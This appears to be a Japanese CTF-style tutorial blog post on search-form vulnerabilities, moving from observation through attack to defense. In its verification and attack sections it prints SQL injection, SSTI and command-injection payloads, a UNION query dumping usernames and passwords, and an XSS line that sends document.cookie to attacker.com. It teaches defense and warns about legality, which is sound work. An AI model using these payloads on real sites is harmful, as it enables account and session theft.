【検索フォームは脆弱性の宝庫】XSS・SQLi・入力検証の急所|CTF思考フレームワーク #04
📖 この記事はシリーズの一部です
「CTF思考フレームワーク」 Webフォーム編 #04 / 公開中 10記事 → シリーズ一覧を見る →
検索ボックスは「ユーザー入力をそのままクエリに使う」場所。攻撃者にとってSQLi・XSS・コマンドインジェクションの宝庫です🎁
インジェクション系の入門。HTTPとSQLの基本があればOK👌
ECサイトでもブログでも、必ずある「検索ボックス」。便利な機能ほど穴が深く、ここから一発で全データを抜かれることもあります。攻撃者の視点で見てみましょう✨
難易度:★★☆(やさしめ) / 所要:10〜12分 / 前提:#01〜#03の内容
👀 観察フェーズ:まず何を見る?

検索ってDBとUIの両方を触るから、攻撃面が二重に広いんだ。
検索フォームって、ユーザーが入れた言葉をそのまま処理する場所だらけなんです。URLパラメータ(URLの末尾に ?q=xxx みたいに付く部分)、検索結果を画面に流し込むDOM挿入箇所、データベースに渡るクエリ…。攻撃者にとっては「入口の宝箱」なので、まず落ち着いて、どこにどう値が流れているかを観察します。🔍
結果ページのソースを Ctrl+U(ブラウザでHTMLソースを表示するショートカット)で開いて、検索ワードがどこにどう埋め込まれているかを目で追うと、攻撃面(攻撃者が触れる場所の総量)がぐっと見えてきます。👀

検索キーワードがそのままURLや画面に出てくるのって、よく見るけど…💧
🤔 仮説フェーズ:攻撃者ならどう考える?

検索の入力 → DB問い合わせ → 結果表示、それぞれに別の脆弱性が潜むよ。
検索フォームは SQLi(SQLインジェクション=DBに不正なSQLを混ぜ込む攻撃)・XSS(クロスサイト・スクリプティング=悪意あるJSを埋め込む攻撃)・SSTI(サーバサイド・テンプレート・インジェクション=サーバ側のテンプレ式を実行させる攻撃)の3大インジェクションが揃う”宝庫”。代表的な4つの仮説を、一つずつ見ていきます。
💉 仮説①:検索キーワードが直接SQLに連結されている
プレースホルダ(SQLに値を渡す安全な仕組み。? や名前付き変数を使うやり方)を使わず、文字列をそのまま連結して SQL を組み立てている実装だと、' OR 1=1-- や ' UNION SELECT といった一行で DB全件抽出される可能性があります。エラー応答に SQL文の一部(テーブル名・カラム名)が漏れていたら、攻撃者にとっては”地図”を渡したようなもの。

え、検索ボックスに'入れただけでエラーが変わるってことは…そのまま実行されてるの!?
⚡ 仮説②:検索ワードがそのまま画面に表示される
「’xxx’ の検索結果」のような表示で、ユーザー入力をエスケープ(<を<に変換する処理)せずDOMに挿入していると、反射型XSS(その場限りで実行される一時的なXSS)が成立。<script> タグを仕込めば、訪問者のブラウザ上でスクリプトが走り、Cookie(ログイン状態を保つ小さなデータ)を盗まれる恐れも。

検索結果に入れた文字がそのまま出るのって、危ない兆候なの…?
🧨 仮説③:テンプレートエンジンに値が渡る(SSTI)
Jinja2 や Twig などのテンプレートエンジン({{変数}} 形式でHTMLに値を埋め込む仕組み)に、ユーザー入力を直接 render(テンプレ式として評価)していると、{{7*7}} が 49 として評価される=サーバ側コード実行に直結する超危険な脆弱性。検索結果のタイトルやサジェストなど、何気ない場所に潜みます。

え、{{7*7}}が49になったらサーバー乗っ取りレベルなの!?
🔎 仮説④:オートコンプリートAPIが情報を漏らす
サジェストAPI(検索ボックスで1文字打つたびに候補を返す裏側のエンドポイント)が認証なしで叩けたり、ユーザー名・メアドの一部を返したりすると、攻撃者は1文字ずつ試行してアカウント列挙(存在するユーザーを総当たりで特定する手口)に悪用できます。検索の便利さと、漏らしてはいけない情報のバランスを冷静に見ます。

便利機能のオートコンプリートが列挙の踏み台に…意外な落とし穴だ💧
検索フォームは入口・処理・出力すべてに罠がある場所。プレースホルダ+出力エスケープが基本💡
🔬 検証フェーズ:実際に試す手順

検索の検証は特殊文字を一個ずつ試すのが鉄則。一気に複雑なペイロード入れない方が分かりやすいよ。
仮説を立てたら、ここからは実際に動かして反応を見るフェーズ。必ず自分の環境(ローカルや専用の検証環境)か、明確に許可された場所でだけ実施してください。他人のサイトに勝手に投げると不正アクセス禁止法違反(日本では懲役や罰金になる立派な犯罪)です。
検索欄に <script>alert(1)</script> や <img onerror="alert(1)" src="x"> を入れて、結果ページでアラートが出るかを確認します。出なくても、ソースを見て < が < に変換されているかをチェック。エスケープの有無がここで分かります。
' OR 1=1-- や ' UNION SELECT NULL-- を入れて、結果が増減したりエラーが出るかを観察。UNION(複数のSELECT結果を縦に連結する命令)はカラム数一致が必須なので、UNION SELECT NULL,NULL-- のように NULL を1つずつ増やしてカラム数を当てます。
URL に ?admin=1、?debug=true、?role=admin を勝手に追加してみる。レスポンスが変わる=マスアサインメント(想定外のフィールドまで一括代入されてしまう実装ミス)の可能性。デバッグ情報がポロッと出てきたら、それだけで内部構造の地図になります。
AND SLEEP(5)-- を投げて、レスポンスが約5秒遅れたらブラインドSQLi(画面に結果が出ないSQLi。応答時間や条件分岐の差分で1ビットずつ情報を抜く手口)。条件分岐型なら true / false 判定ができます。エラーメッセージが出ないタイプのSQLiは、こうして”間接的に”見抜きます。
検索バックエンドがshellコマンド経由(裏でOSコマンドを叩いてる古い実装)なら、; ls や | whoami が刺さることも。古い構成で稀に見かけるパターンで、刺さるとサーバ全体を乗っ取られる最重大級の穴です。

うわ、'と<を入れるだけで反応が変わるって、それだけでヒントなの…!?

そう、< や ' を1文字入れるだけで反応が変わる、それだけでヒントになるんだよ。エスケープしているか/していないかは、その一文字で見えてくる。怖い…じゃなくて、凄く大事な観察です。
⚔️ 攻撃フェーズ:攻撃者ならこう攻める

“なぜ通るか”を理解するのがゴール。攻撃の原理がわかれば対策も自然に見えるよ。
検証で「ここ弱いな」と判断したら、ここからは攻撃のパターンを見ていきます(あくまで防御のため!)。検索フォームでよくある攻撃は、大きく この3パターンに分かれます。
検証で「ここ弱いな」と判断したら、実際の攻撃に移ります。検索フォームでよくある攻撃はこの3パターン。
‘ UNION SELECT username, password FROM users– でユーザーテーブル全部抜き取り。情報漏洩の典型パターン💥
<script>fetch("//attacker.com?c="+document.cookie)</script> を仕込んだURLを被害者にクリックさせ、セッションCookieを窃取🍪
検索結果ページがJinja2/Twigなどテンプレートエンジンで動いてると、{{7*7}}が49で評価される=RCEに繋がる超危険脆弱性☠️

えっ、SQLiでDB全部抜かれるのもSSTIでサーバ乗っ取りも…検索ボックスからこんなに広がるの!?💧
結果として、こんな”フラグ”(CTFで言う”勝利の合言葉”。実戦では機密データそのもの)を取られちゃうイメージです:
?q=' UNION SELECT username,password FROM users--
→ 検索結果に admin / 5f4dcc3b... が表示
CTF{sql_injection_in_search}検索フォーム1箇所のミスで、データベース全件が抜かれることもあります。たかが検索、されど検索。入口の数だけ守りどころがあると覚えておくと、設計の解像度が一段上がります。🚨
🛡️ 防御フェーズ:どう守る?

やっとお待ちかね、守る側の打ち手。検索はプレースホルダ+出力エスケープ+CSPの3点セットだよ。
攻撃側を理解したら、守る側の打ち手も自然と見えてきます。検索フォームの防御は、設計・実装・運用の3レイヤーで考えるのがコツ。1枚目で漏れても2枚目、3枚目で止める”多層防御“の発想です。🛡️
- 検索クエリは必ずプレースホルダ/パラメータ化(値を文字列連結で埋めず、
?や名前で安全に渡す方式) - 出力時はHTMLエスケープ(
<>&を<等に変換)必須 - CSP(Content-Security-Policy。実行できるスクリプトの出どころをブラウザ側で制限するヘッダ)で
inline-script禁止
- ORM(オブジェクト関係マッパー。SQLを直接書かずDB操作するライブラリ)使用時も raw query(生のSQLを直接実行する命令)に注意(Sequelize / Prisma 等)
- 検索エラーは汎用メッセージで返す(DBの内部情報を漏らさない)
- WAF(Web Application Firewall。Webへの攻撃通信を入口で遮断する仕組み)でインジェクションペイロードをブロック(※WAFは多層防御の最後の保険。根本対策はプレースホルダや出力エスケープなど実装側で行うのが原則)
- DB接続ユーザーは最小権限(検索対象テーブルのみ参照権限。攻撃が成立しても被害を限定する考え方)
- 検索ログ監視(
' OR '1'='1など既知パターンを検知してアラートを上げる) - ペネトレーションテスト(許可を得て実際に攻撃を試みる検査)で定期確認

なるほど…プレースホルダ・エスケープ・CSPの組み合わせか。どれか1個破られても他で守れるってことだね!

その通り。入力・処理・出力でそれぞれ守るのが多層防御の本質だよ🛡️
🛡️ 今日からできる対策ツール
パスワードの使い回しや手動管理はどんなに気をつけても限界があります。🔑 パスワード管理ツール「ワンパス」なら、複雑なパスワードを安全に保管して「1つのマスターパスワード」だけ覚えられるので、今日から始める防御策としてしっくりきます。
※ 上記は他社サービスへのリンクです。購入は各自でご判断ください。
⚠️ よくある落とし穴
- フロントエンドだけでバリデーション(入力チェック)して満足する ─ 攻撃者はブラウザを使わずに直接APIを叩けます。サーバ側の検証が必須。フロントは”親切な案内”、サーバは”厳格な検問”の役割分担。
- エスケープを忘れて、結果ページにそのままユーザー入力を出力 ─ 検索ワードを
<h1>に直接入れてXSS成立、というのは古典的な失敗。フレームワーク標準のエスケープ機能を信頼して使い切るのが安全。 - sort, filter パラメータをORMに直接渡してSQLi発生 ─ プレースホルダ化していても、カラム名やソート方向の動的指定はバインドできず、ここからSQLiに繋がります。許可リスト方式(決められた値以外は弾く)で守る。
🧰 ツール早見表
| ツール | 何ができる | 使いどころ(やさしい解説) |
|---|---|---|
| sqlmap | SQLi自動検出・抽出 | 検証〜攻撃フェーズ(自動でクエリを送り、応答からSQLiの有無を判定。必ず許可された環境のみ) |
| Burp Suite | パラメータ改ざん | 観察〜検証(送信内容をブラウザとサーバの間で書き換えて反応を見る、定番ツール) |
| XSStrike | XSS自動検出 | XSS検証(多彩なペイロード(攻撃用文字列)を自動で試して、刺さるものを見つける) |
| ffuf | パラメータ列挙 | 隠れたパラメータ発見(?debug=1 など、ドキュメントに無い裏パラメータを総当たりで探す) |
🎓 本気で学びたい人へ
Webセキュリティを「趣味」から「仕事」に変えたい方へ。🎓 ササエルはインフラエンジニアに特化したオンラインスクールで、セキュリティ設計の基礎から体系的に学べます。検索フォーム1つでも、設計→実装→運用の全体像で語れるようになると、現場での説得力がぐっと変わります。
📚 もっと深く学びたい人へ
体系的に攻撃と防御の両面を学びたいなら、『ホワイトハッカー入門 第2版』(IPUSIRON 著)が分かりやすい入口です。攻撃の仕組みを”手を動かしながら“理解する構成で、本記事の検証フェーズと相性抜群。📚
🤝 大事なお約束
この記事の手法は、必ず自分の環境か、許可された CTF・脆弱性報奨金プログラム(HackerOne, Bugcrowd 等。”見つけたら報告すれば報奨金がもらえる”公式ルートのこと)で試してください。他人のサービスに無断で攻撃を仕掛けるのは不正アクセス禁止法違反、立派な犯罪です。学んだ知識は守る側で活かすのが、この記事の唯一にして最大の約束です。🤝
この記事の手法は、必ず自分の環境か、許可されたCTF・脆弱性報奨金プログラム(HackerOne、Bugcrowd等)で試してください。他人のサービスに無断で攻撃を仕掛けるのは不正アクセス禁止法違反、立派な犯罪です。学んだ知識は守る側で活かしましょう🤝


